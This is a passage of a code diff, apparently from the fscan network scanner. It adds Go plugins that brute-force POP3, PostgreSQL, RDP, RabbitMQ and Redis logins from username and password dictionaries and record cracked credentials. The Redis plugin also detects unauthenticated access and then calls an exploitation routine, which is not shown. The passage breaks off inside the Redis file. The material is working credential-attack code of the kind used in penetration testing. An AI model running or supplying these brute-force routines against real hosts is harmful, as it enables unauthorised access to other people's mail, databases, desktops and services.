errMsg := fmt.Sprintf("POP3服务 %s 尝试失败 用户名: %v 密码: %v 错误: %v",
|
||||
target, user, pass, err)
|
||||
Common.LogError(errMsg)
|
||||
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
continue
|
||||
}
|
||||
continue
|
||||
}
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
|
||||
return tmperr
|
||||
}
|
||||
|
||||
func POP3Conn(info *Common.HostInfo, user string, pass string) (success bool, isTLS bool, err error) {
|
||||
timeout := time.Duration(Common.Timeout) * time.Second
|
||||
addr := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
|
||||
// 首先尝试普通连接
|
||||
conn, err := net.DialTimeout("tcp", addr, timeout)
|
||||
if err == nil {
|
||||
if flag, err := tryPOP3Auth(conn, user, pass, timeout); err == nil {
|
||||
return flag, false, nil
|
||||
}
|
||||
conn.Close()
|
||||
}
|
||||
|
||||
// 如果普通连接失败,尝试TLS连接
|
||||
tlsConfig := &tls.Config{
|
||||
InsecureSkipVerify: true,
|
||||
}
|
||||
conn, err = tls.DialWithDialer(&net.Dialer{Timeout: timeout}, "tcp", addr, tlsConfig)
|
||||
if err != nil {
|
||||
return false, false, fmt.Errorf("连接失败: %v", err)
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
success, err = tryPOP3Auth(conn, user, pass, timeout)
|
||||
return success, true, err
|
||||
}
|
||||
|
||||
func tryPOP3Auth(conn net.Conn, user string, pass string, timeout time.Duration) (bool, error) {
|
||||
reader := bufio.NewReader(conn)
|
||||
conn.SetDeadline(time.Now().Add(timeout))
|
||||
|
||||
// 读取欢迎信息
|
||||
_, err := reader.ReadString('\n')
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("读取欢迎消息失败: %v", err)
|
||||
}
|
||||
|
||||
// 发送用户名
|
||||
conn.SetDeadline(time.Now().Add(timeout))
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("USER %s\r\n", user)))
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("发送用户名失败: %v", err)
|
||||
}
|
||||
|
||||
// 读取用户名响应
|
||||
conn.SetDeadline(time.Now().Add(timeout))
|
||||
response, err := reader.ReadString('\n')
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("读取用户名响应失败: %v", err)
|
||||
}
|
||||
if !strings.Contains(response, "+OK") {
|
||||
return false, fmt.Errorf("用户名无效")
|
||||
}
|
||||
|
||||
// 发送密码
|
||||
conn.SetDeadline(time.Now().Add(timeout))
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("PASS %s\r\n", pass)))
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("发送密码失败: %v", err)
|
||||
}
|
||||
|
||||
// 读取密码响应
|
||||
conn.SetDeadline(time.Now().Add(timeout))
|
||||
response, err = reader.ReadString('\n')
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("读取密码响应失败: %v", err)
|
||||
}
|
||||
|
||||
if strings.Contains(response, "+OK") {
|
||||
return true, nil
|
||||
}
|
||||
|
||||
return false, fmt.Errorf("认证失败")
|
||||
}
|
131
Plugins/Postgres.go
Normal file
131
Plugins/Postgres.go
Normal file
@ -0,0 +1,131 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
_ "github.com/lib/pq"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// PostgresScan 执行PostgreSQL服务扫描
|
||||
func PostgresScan(info *Common.HostInfo) (tmperr error) {
|
||||
if Common.DisableBrute {
|
||||
return
|
||||
}
|
||||
|
||||
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||
maxRetries := Common.MaxRetries
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||
totalUsers := len(Common.Userdict["postgresql"])
|
||||
totalPass := len(Common.Passwords)
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
|
||||
|
||||
tried := 0
|
||||
total := totalUsers * totalPass
|
||||
|
||||
for _, user := range Common.Userdict["postgresql"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
tried++
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||
}
|
||||
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
}, 1)
|
||||
|
||||
go func(user, pass string) {
|
||||
success, err := PostgresConn(info, user, pass)
|
||||
select {
|
||||
case done <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{success, err}:
|
||||
default:
|
||||
}
|
||||
}(user, pass)
|
||||
|
||||
var err error
|
||||
select {
|
||||
case result := <-done:
|
||||
err = result.err
|
||||
if result.success && err == nil {
|
||||
successMsg := fmt.Sprintf("PostgreSQL服务 %s 成功爆破 用户名: %v 密码: %v", target, user, pass)
|
||||
Common.LogSuccess(successMsg)
|
||||
|
||||
// 保存结果
|
||||
vulnResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "postgresql",
|
||||
"username": user,
|
||||
"password": pass,
|
||||
"type": "weak-password",
|
||||
},
|
||||
}
|
||||
Common.SaveResult(vulnResult)
|
||||
return nil
|
||||
}
|
||||
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
||||
err = fmt.Errorf("连接超时")
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
errMsg := fmt.Sprintf("PostgreSQL服务 %s 尝试失败 用户名: %v 密码: %v 错误: %v", target, user, pass, err)
|
||||
Common.LogError(errMsg)
|
||||
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
continue
|
||||
}
|
||||
continue
|
||||
}
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
|
||||
return tmperr
|
||||
}
|
||||
|
||||
// PostgresConn 尝试PostgreSQL连接
|
||||
func PostgresConn(info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||
timeout := time.Duration(Common.Timeout) * time.Second
|
||||
|
||||
// 构造连接字符串
|
||||
connStr := fmt.Sprintf(
|
||||
"postgres://%v:%v@%v:%v/postgres?sslmode=disable",
|
||||
user, pass, info.Host, info.Ports,
|
||||
)
|
||||
|
||||
// 建立数据库连接
|
||||
db, err := sql.Open("postgres", connStr)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
defer db.Close()
|
||||
|
||||
// 设置连接参数
|
||||
db.SetConnMaxLifetime(timeout)
|
||||
|
||||
// 测试连接
|
||||
if err = db.Ping(); err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
return true, nil
|
||||
}
|
229
Plugins/RDP.go
Normal file
229
Plugins/RDP.go
Normal file
@ -0,0 +1,229 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"github.com/tomatome/grdp/core"
|
||||
"github.com/tomatome/grdp/glog"
|
||||
"github.com/tomatome/grdp/protocol/nla"
|
||||
"github.com/tomatome/grdp/protocol/pdu"
|
||||
"github.com/tomatome/grdp/protocol/rfb"
|
||||
"github.com/tomatome/grdp/protocol/sec"
|
||||
"github.com/tomatome/grdp/protocol/t125"
|
||||
"github.com/tomatome/grdp/protocol/tpkt"
|
||||
"github.com/tomatome/grdp/protocol/x224"
|
||||
"log"
|
||||
"net"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Brutelist 表示暴力破解的用户名密码组合
|
||||
type Brutelist struct {
|
||||
user string
|
||||
pass string
|
||||
}
|
||||
|
||||
// RdpScan 执行RDP服务扫描
|
||||
func RdpScan(info *Common.HostInfo) (tmperr error) {
|
||||
defer func() {
|
||||
recover()
|
||||
}()
|
||||
if Common.DisableBrute {
|
||||
return
|
||||
}
|
||||
|
||||
port, _ := strconv.Atoi(info.Ports)
|
||||
total := len(Common.Userdict["rdp"]) * len(Common.Passwords)
|
||||
num := 0
|
||||
target := fmt.Sprintf("%v:%v", info.Host, port)
|
||||
|
||||
// 遍历用户名密码组合
|
||||
for _, user := range Common.Userdict["rdp"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
num++
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
|
||||
// 尝试连接
|
||||
flag, err := RdpConn(info.Host, Common.Domain, user, pass, port, Common.Timeout)
|
||||
|
||||
if flag && err == nil {
|
||||
// 连接成功
|
||||
var result string
|
||||
if Common.Domain != "" {
|
||||
result = fmt.Sprintf("RDP %v Domain: %v\\%v Password: %v", target, Common.Domain, user, pass)
|
||||
} else {
|
||||
result = fmt.Sprintf("RDP %v Username: %v Password: %v", target, user, pass)
|
||||
}
|
||||
Common.LogSuccess(result)
|
||||
|
||||
// 保存结果
|
||||
details := map[string]interface{}{
|
||||
"port": port,
|
||||
"service": "rdp",
|
||||
"username": user,
|
||||
"password": pass,
|
||||
"type": "weak-password",
|
||||
}
|
||||
if Common.Domain != "" {
|
||||
details["domain"] = Common.Domain
|
||||
}
|
||||
|
||||
vulnResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: details,
|
||||
}
|
||||
Common.SaveResult(vulnResult)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// 连接失败
|
||||
errlog := fmt.Sprintf("(%v/%v) RDP %v Username: %v Password: %v Error: %v",
|
||||
num, total, target, user, pass, err)
|
||||
Common.LogError(errlog)
|
||||
}
|
||||
}
|
||||
|
||||
return tmperr
|
||||
}
|
||||
|
||||
// RdpConn 尝试RDP连接
|
||||
func RdpConn(ip, domain, user, password string, port int, timeout int64) (bool, error) {
|
||||
defer func() {
|
||||
recover()
|
||||
}()
|
||||
target := fmt.Sprintf("%s:%d", ip, port)
|
||||
|
||||
// 创建RDP客户端
|
||||
client := NewClient(target, glog.NONE)
|
||||
if err := client.Login(domain, user, password, timeout); err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
return true, nil
|
||||
}
|
||||
|
||||
// Client RDP客户端结构
|
||||
type Client struct {
|
||||
Host string // 服务地址(ip:port)
|
||||
tpkt *tpkt.TPKT // TPKT协议层
|
||||
x224 *x224.X224 // X224协议层
|
||||
mcs *t125.MCSClient // MCS协议层
|
||||
sec *sec.Client // 安全层
|
||||
pdu *pdu.Client // PDU协议层
|
||||
vnc *rfb.RFB // VNC协议(可选)
|
||||
}
|
||||
|
||||
// NewClient 创建新的RDP客户端
|
||||
func NewClient(host string, logLevel glog.LEVEL) *Client {
|
||||
// 配置日志
|
||||
glog.SetLevel(logLevel)
|
||||
logger := log.New(os.Stdout, "", 0)
|
||||
glog.SetLogger(logger)
|
||||
|
||||
return &Client{
|
||||
Host: host,
|
||||
}
|
||||
}
|
||||
|
||||
// Login 执行RDP登录
|
||||
func (g *Client) Login(domain, user, pwd string, timeout int64) error {
|
||||
// 建立TCP连接
|
||||
conn, err := Common.WrapperTcpWithTimeout("tcp", g.Host, time.Duration(timeout)*time.Second)
|
||||
if err != nil {
|
||||
return fmt.Errorf("[连接错误] %v", err)
|
||||
}
|
||||
defer conn.Close()
|
||||
glog.Info(conn.LocalAddr().String())
|
||||
|
||||
// 初始化协议栈
|
||||
g.initProtocolStack(conn, domain, user, pwd)
|
||||
|
||||
// 建立X224连接
|
||||
if err = g.x224.Connect(); err != nil {
|
||||
return fmt.Errorf("[X224连接错误] %v", err)
|
||||
}
|
||||
glog.Info("等待连接建立...")
|
||||
|
||||
// 等待连接完成
|
||||
wg := &sync.WaitGroup{}
|
||||
breakFlag := false
|
||||
wg.Add(1)
|
||||
|
||||
// 设置事件处理器
|
||||
g.setupEventHandlers(wg, &breakFlag, &err)
|
||||
|
||||
wg.Wait()
|
||||
return err
|
||||
}
|
||||
|
||||
// initProtocolStack 初始化RDP协议栈
|
||||
func (g *Client) initProtocolStack(conn net.Conn, domain, user, pwd string) {
|
||||
// 创建协议层实例
|
||||
g.tpkt = tpkt.New(core.NewSocketLayer(conn), nla.NewNTLMv2(domain, user, pwd))
|
||||
g.x224 = x224.New(g.tpkt)
|
||||
g.mcs = t125.NewMCSClient(g.x224)
|
||||
g.sec = sec.NewClient(g.mcs)
|
||||
g.pdu = pdu.NewClient(g.sec)
|
||||
|
||||
// 设置认证信息
|
||||
g.sec.SetUser(user)
|
||||
g.sec.SetPwd(pwd)
|
||||
g.sec.SetDomain(domain)
|
||||
|
||||
// 配置协议层关联
|
||||
g.tpkt.SetFastPathListener(g.sec)
|
||||
g.sec.SetFastPathListener(g.pdu)
|
||||
g.pdu.SetFastPathSender(g.tpkt)
|
||||
}
|
||||
|
||||
// setupEventHandlers 设置PDU事件处理器
|
||||
func (g *Client) setupEventHandlers(wg *sync.WaitGroup, breakFlag *bool, err *error) {
|
||||
// 错误处理
|
||||
g.pdu.On("error", func(e error) {
|
||||
*err = e
|
||||
glog.Error("错误:", e)
|
||||
g.pdu.Emit("done")
|
||||
})
|
||||
|
||||
// 连接关闭
|
||||
g.pdu.On("close", func() {
|
||||
*err = errors.New("连接关闭")
|
||||
glog.Info("连接已关闭")
|
||||
g.pdu.Emit("done")
|
||||
})
|
||||
|
||||
// 连接成功
|
||||
g.pdu.On("success", func() {
|
||||
*err = nil
|
||||
glog.Info("连接成功")
|
||||
g.pdu.Emit("done")
|
||||
})
|
||||
|
||||
// 连接就绪
|
||||
g.pdu.On("ready", func() {
|
||||
glog.Info("连接就绪")
|
||||
g.pdu.Emit("done")
|
||||
})
|
||||
|
||||
// 屏幕更新
|
||||
g.pdu.On("update", func(rectangles []pdu.BitmapData) {
|
||||
glog.Info("屏幕更新:", rectangles)
|
||||
})
|
||||
|
||||
// 完成处理
|
||||
g.pdu.On("done", func() {
|
||||
if !*breakFlag {
|
||||
*breakFlag = true
|
||||
wg.Done()
|
||||
}
|
||||
})
|
||||
}
|
205
Plugins/RabbitMQ.go
Normal file
205
Plugins/RabbitMQ.go
Normal file
@ -0,0 +1,205 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
amqp "github.com/rabbitmq/amqp091-go"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// RabbitMQScan 执行 RabbitMQ 服务扫描
|
||||
func RabbitMQScan(info *Common.HostInfo) (tmperr error) {
|
||||
if Common.DisableBrute {
|
||||
return
|
||||
}
|
||||
|
||||
maxRetries := Common.MaxRetries
|
||||
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||
Common.LogDebug("尝试默认账号 guest/guest")
|
||||
|
||||
// 先测试默认账号 guest/guest
|
||||
user, pass := "guest", "guest"
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试默认账号: guest/guest", retryCount+1))
|
||||
}
|
||||
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
}, 1)
|
||||
|
||||
go func() {
|
||||
success, err := RabbitMQConn(info, user, pass)
|
||||
select {
|
||||
case done <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{success, err}:
|
||||
default:
|
||||
}
|
||||
}()
|
||||
|
||||
var err error
|
||||
select {
|
||||
case result := <-done:
|
||||
err = result.err
|
||||
if result.success && err == nil {
|
||||
successMsg := fmt.Sprintf("RabbitMQ服务 %s 连接成功 用户名: %v 密码: %v", target, user, pass)
|
||||
Common.LogSuccess(successMsg)
|
||||
|
||||
// 保存结果
|
||||
vulnResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "rabbitmq",
|
||||
"username": user,
|
||||
"password": pass,
|
||||
"type": "weak-password",
|
||||
},
|
||||
}
|
||||
Common.SaveResult(vulnResult)
|
||||
return nil
|
||||
}
|
||||
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
||||
err = fmt.Errorf("连接超时")
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("RabbitMQ服务 %s 尝试失败 用户名: %v 密码: %v 错误: %v",
|
||||
target, user, pass, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
continue
|
||||
}
|
||||
continue
|
||||
}
|
||||
}
|
||||
break
|
||||
}
|
||||
|
||||
totalUsers := len(Common.Userdict["rabbitmq"])
|
||||
totalPass := len(Common.Passwords)
|
||||
total := totalUsers * totalPass
|
||||
tried := 0
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
|
||||
|
||||
// 遍历其他用户名密码组合
|
||||
for _, user := range Common.Userdict["rabbitmq"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
tried++
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||
}
|
||||
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
}, 1)
|
||||
|
||||
go func(user, pass string) {
|
||||
success, err := RabbitMQConn(info, user, pass)
|
||||
select {
|
||||
case done <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{success, err}:
|
||||
default:
|
||||
}
|
||||
}(user, pass)
|
||||
|
||||
var err error
|
||||
select {
|
||||
case result := <-done:
|
||||
err = result.err
|
||||
if result.success && err == nil {
|
||||
successMsg := fmt.Sprintf("RabbitMQ服务 %s 连接成功 用户名: %v 密码: %v",
|
||||
target, user, pass)
|
||||
Common.LogSuccess(successMsg)
|
||||
|
||||
// 保存结果
|
||||
vulnResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "rabbitmq",
|
||||
"username": user,
|
||||
"password": pass,
|
||||
"type": "weak-password",
|
||||
},
|
||||
}
|
||||
Common.SaveResult(vulnResult)
|
||||
return nil
|
||||
}
|
||||
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
||||
err = fmt.Errorf("连接超时")
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("RabbitMQ服务 %s 尝试失败 用户名: %v 密码: %v 错误: %v",
|
||||
target, user, pass, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
continue
|
||||
}
|
||||
continue
|
||||
}
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried+1))
|
||||
return tmperr
|
||||
}
|
||||
|
||||
// RabbitMQConn 尝试 RabbitMQ 连接
|
||||
func RabbitMQConn(info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||
host, port := info.Host, info.Ports
|
||||
timeout := time.Duration(Common.Timeout) * time.Second
|
||||
|
||||
// 构造 AMQP URL
|
||||
amqpURL := fmt.Sprintf("amqp://%s:%s@%s:%s/", user, pass, host, port)
|
||||
|
||||
// 配置连接
|
||||
config := amqp.Config{
|
||||
Dial: func(network, addr string) (net.Conn, error) {
|
||||
return net.DialTimeout(network, addr, timeout)
|
||||
},
|
||||
}
|
||||
|
||||
// 尝试连接
|
||||
conn, err := amqp.DialConfig(amqpURL, config)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// 如果成功连接
|
||||
if conn != nil {
|
||||
return true, nil
|
||||
}
|
||||
|
||||
return false, fmt.Errorf("认证失败")
|
||||
}
|
683
Plugins/Redis.go
Normal file
683
Plugins/Redis.go
Normal file
@ -0,0 +1,683 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"io"
|
||||
"net"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
dbfilename string // Redis数据库文件名
|
||||
dir string // Redis数据库目录
|
||||
)
|
||||
|
||||
func RedisScan(info *Common.HostInfo) error {
|
||||
Common.LogDebug(fmt.Sprintf("开始Redis扫描: %s:%v", info.Host, info.Ports))
|
||||
starttime := time.Now().Unix()
|
||||
|
||||
// 先尝试无密码连接
|
||||
flag, err := RedisUnauth(info)
|
||||
if flag && err == nil {
|
||||
Common.LogSuccess(fmt.Sprintf("Redis无密码连接成功: %s:%v", info.Host, info.Ports))
|
||||
|
||||
// 保存未授权访问结果
|
||||
result := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "redis",
|
||||
"type": "unauthorized",
|
||||
},
|
||||
}
|
||||
Common.SaveResult(result)
|
||||
return nil
|
||||
}
|
||||
|
||||
if Common.DisableBrute {
|
||||
Common.LogDebug("暴力破解已禁用,结束扫描")
|
||||
return nil
|
||||
}
|
||||
|
||||
// 遍历密码字典
|
||||
for _, pass := range Common.Passwords {
|
||||
// 检查是否超时
|
||||
if time.Now().Unix()-starttime > int64(Common.Timeout) {
|
||||
errMsg := fmt.Sprintf("Redis扫描超时: %s:%v", info.Host, info.Ports)
|
||||
Common.LogError(errMsg)
|
||||
return fmt.Errorf(errMsg)
|
||||
}
|
||||
|
||||
pass = strings.Replace(pass, "{user}", "redis", -1)
|
||||
Common.LogDebug(fmt.Sprintf("尝试密码: %s", pass))
|
||||
|
||||
var lastErr error
|
||||
for retryCount := 0; retryCount < Common.MaxRetries; retryCount++ {
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第 %d 次重试: %s", retryCount+1, pass))
|
||||
}
|
||||
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
})
|
||||
|
||||
go func() {
|
||||
success, err := RedisConn(info, pass)
|
||||
done <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{success, err}
|
||||
}()
|
||||
|
||||
var connErr error
|
||||
select {
|
||||
case result := <-done:
|
||||
if result.success {
|
||||
Common.LogSuccess(fmt.Sprintf("Redis登录成功 %s:%v [%s]",
|
||||
info.Host, info.Ports, pass))
|
||||
|
||||
// 保存弱密码结果
|
||||
vulnResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "redis",
|
||||
"type": "weak-password",
|
||||
"password": pass,
|
||||
},
|
||||
}
|
||||
Common.SaveResult(vulnResult)
|
||||
return nil
|
||||
}
|
||||
connErr = result.err
|
||||
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
||||
connErr = fmt.Errorf("连接超时")
|
||||
}
|
||||
|
||||
if connErr != nil {
|
||||
lastErr = connErr
|
||||
errMsg := fmt.Sprintf("Redis尝试失败 %s:%v [%s] %v",
|
||||
info.Host, info.Ports, pass, connErr)
|
||||
Common.LogError(errMsg)
|
||||
|
||||
if retryErr := Common.CheckErrs(connErr); retryErr != nil {
|
||||
if retryCount == Common.MaxRetries-1 {
|
||||
Common.LogDebug(fmt.Sprintf("达到最大重试次数: %s", pass))
|
||||
break
|
||||
}
|
||||
continue
|
||||
}
|
||||
}
|
||||
break
|
||||
}
|
||||
|
||||
if lastErr != nil && Common.CheckErrs(lastErr) != nil {
|
||||
Common.LogDebug(fmt.Sprintf("Redis扫描中断: %v", lastErr))
|
||||
return lastErr
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("Redis扫描完成: %s:%v", info.Host, info.Ports))
|
||||
return nil
|
||||
}
|
||||
|
||||
// RedisUnauth 尝试Redis未授权访问检测
|
||||
func RedisUnauth(info *Common.HostInfo) (flag bool, err error) {
|
||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
Common.LogDebug(fmt.Sprintf("开始Redis未授权检测: %s", realhost))
|
||||
|
||||
// 建立TCP连接
|
||||
conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("Redis连接失败 %s: %v", realhost, err))
|
||||
return false, err
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// 设置读取超时
|
||||
if err = conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
|
||||
Common.LogError(fmt.Sprintf("Redis %s 设置超时失败: %v", realhost, err))
|
||||
return false, err
|
||||
}
|
||||
|
||||
// 发送info命令测试未授权访问
|
||||
Common.LogDebug(fmt.Sprintf("发送info命令到: %s", realhost))
|
||||
if _, err = conn.Write([]byte("info\r\n")); err != nil {
|
||||
Common.LogError(fmt.Sprintf("Redis %s 发送命令失败: %v", realhost, err))
|
||||
return false, err
|
||||
}
|
||||
|
||||
// 读取响应
|
||||
reply, err := readreply(conn)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("Redis %s 读取响应失败: %v", realhost, err))
|
||||
return false, err
|
||||
}
|
||||
Common.LogDebug(fmt.Sprintf("收到响应,长度: %d", len(reply)))
|
||||
|
||||
// 检查未授权访问
|
||||
if !strings.Contains(reply, "redis_version") {
|
||||
Common.LogDebug(fmt.Sprintf("Redis %s 未发现未授权访问", realhost))
|
||||
return false, nil
|
||||
}
|
||||
|
||||
// 发现未授权访问,获取配置
|
||||
Common.LogDebug(fmt.Sprintf("Redis %s 发现未授权访问,尝试获取配置", realhost))
|
||||
dbfilename, dir, err := getconfig(conn)
|
||||
if err != nil {
|
||||
result := fmt.Sprintf("Redis %s 发现未授权访问", realhost)
|
||||
Common.LogSuccess(result)
|
||||
return true, err
|
||||
}
|
||||
|
||||
// 输出详细信息
|
||||
result := fmt.Sprintf("Redis %s 发现未授权访问 文件位置:%s/%s", realhost, dir, dbfilename)
|
||||
Common.LogSuccess(result)
|
||||
|
||||
// 尝试漏洞利用
|
||||
Common.LogDebug(fmt.Sprintf("尝试Redis %s 漏洞利用", realhost))
|
||||
if err = Expoilt(realhost, conn); err != nil {
|
||||
Common.LogError(fmt.Sprintf("Redis %s 漏洞利用失败: %v", realhost, err))
|
||||
}
|
||||
|
||||
return true, nil
|
||||
}
|
||||
|
||||
// RedisConn 尝试Redis连接
|
||||
func RedisConn(info *Common.HostInfo, pass string) (bool, error) {
|
||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
Common.LogDebug(fmt.Sprintf("尝试Redis连接: %s [%s]", realhost, pass))
|
||||
|
||||
// 建立TCP连接
|
||||
conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("连接失败: %v", err))
|
||||
return false, err
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// 设置超时
|
||||
if err = conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("设置超时失败: %v", err))
|
||||
return false, err
|
||||
}
|
||||
|
||||
// 发送认证命令
|
||||
authCmd := fmt.Sprintf("auth %s\r\n", pass)
|
||||
Common.LogDebug("发送认证命令")
|
||||
if _, err = conn.Write([]byte(authCmd)); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("发送认证命令失败: %v", err))
|
||||
return false, err
|
||||
}
|
||||
|
||||
// 读取响应
|
||||
reply, err := readreply(conn)
|
||||
if err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
|
||||
return false, err
|
||||
}
|
||||
Common.LogDebug(fmt.Sprintf("收到响应: %s", reply))
|
||||
|
||||
// 认证成功
|
||||
if strings.Contains(reply, "+OK") {
|
||||
Common.LogDebug("认证成功,获取配置信息")
|
||||
|
||||
// 获取配置信息
|
||||
dbfilename, dir, err = getconfig(conn)
|
||||
if err != nil {
|
||||
result := fmt.Sprintf("Redis认证成功 %s [%s]", realhost, pass)
|
||||
Common.LogSuccess(result)
|
||||
Common.LogDebug(fmt.Sprintf("获取配置失败: %v", err))
|
